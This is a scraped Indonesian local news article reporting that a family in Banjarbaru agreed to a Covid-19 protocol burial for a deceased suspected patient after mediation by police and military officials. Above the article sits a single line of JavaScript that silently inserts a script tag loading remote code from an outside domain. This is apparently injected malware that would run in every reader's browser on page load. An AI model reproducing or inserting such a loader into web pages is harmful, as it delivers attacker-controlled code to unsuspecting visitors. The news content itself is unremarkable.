(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Keluarga Setuju Pemakaman Jenazah PDP Pakai Protokol Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Pihak keluarga seorang jenazah berstatus Pasien Dalam Pengawasan (PDP) akhirnya menyetujui pemulasaran dengan standar protokol kesehatan Covid-19. Hal itu setelah dilakukannya mediasi oleh tim Gugus Tugas Pencegahan Penanganan Covid-19 Banjarbaru.

Pihak keluarga awalnya bersikeras untuk melakukan pemakaman secara agama. Padahal, fakta bahwa jenazah berstatus Pasien Dalam Pengawasan (PDP) tentu menimbulkan resiko penularan Covid-19.

“Jadi pihak keluarga awalnya menolak dimakamkan dengan standar protokol kesehatan Covid-19. Mereka maunya melakukan pemakaman secara agama. Tapi setelah kita lakukan mediasi, pihak keluarga akhirnya setuju,” kata Kapolres Banjarbaru AKBP Doni Hadi Santoso.

Baca juga: BREAKING NEWS. Keluarga Jenazah PDP di Banjarbaru Tolak Penanganan Protokol Covid-19!

Senada dengan pernyataan Kapolres Banjarbaru, Dandim 1006/ Martapura Letkol Arm Siswo Budiarto mengatakan bahwa persoalan ini hanyalah miskomunikasi antara pihak keluarga dan petugas. Ia menekankan bahwa penyampaian dan imbauan yang tepat, bisa membuat pihak keluarga mengerti dengan kondisi ini.

“Ini langkah antisipasi. Kalau penyampaiannya dengan pihak keluarga dengan tepat, maka tidak perlu sampai selama ini. Ini cuma miskomunikasi saja,” kata Dandim.

Untuk mengantisipasi penyebaran Covid-19 di rumah duka, di Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, tim Gugus Tugas juga langsung melakukan penyemprotan disinfektan.

 

Warga sekitar yang bertakziah menunggu pemulasaran jenazah PDP. foto: rico

Pasien yang meninggal di Rumah Sakit Idaman Banjarbaru tersebut dimakamkan di Kabupaten Banjar. Dalam hal ini pihak Polri dan TNI juga dikerahkan untuk melakukan pengamanan di lokasi pemakamam mengantisipasi adanya penolakan dari warga sekitar.

“Sebenarnya tidak ada penolakan. Tapi kita melakukan pengamanan sesuai protokol. Pihak keluarga yang ke pemakaman juga harus mengikuti anjuran protokol kesehatan, seperti halnya jaga jarak satu sama lain,” pungkas Dandim.

Seperti berita sebelumnya, seorang Pasien Dalam Pengawasan (PDP) di Kota Banjarbaru meninggal dunia di Rumah Sakit Idaman Banjarbaru. Meskipun belum diketahui apakah PDP tersebut dinyatakan positif, namun pihak keluarga memaksa untuk membawa jenazah pulang ke rumah dan menolak penanganan dengan protokol kesehatan Covid-19. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

2 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

3 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

6 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

9 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

12 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

12 jam ago

This website uses cookies.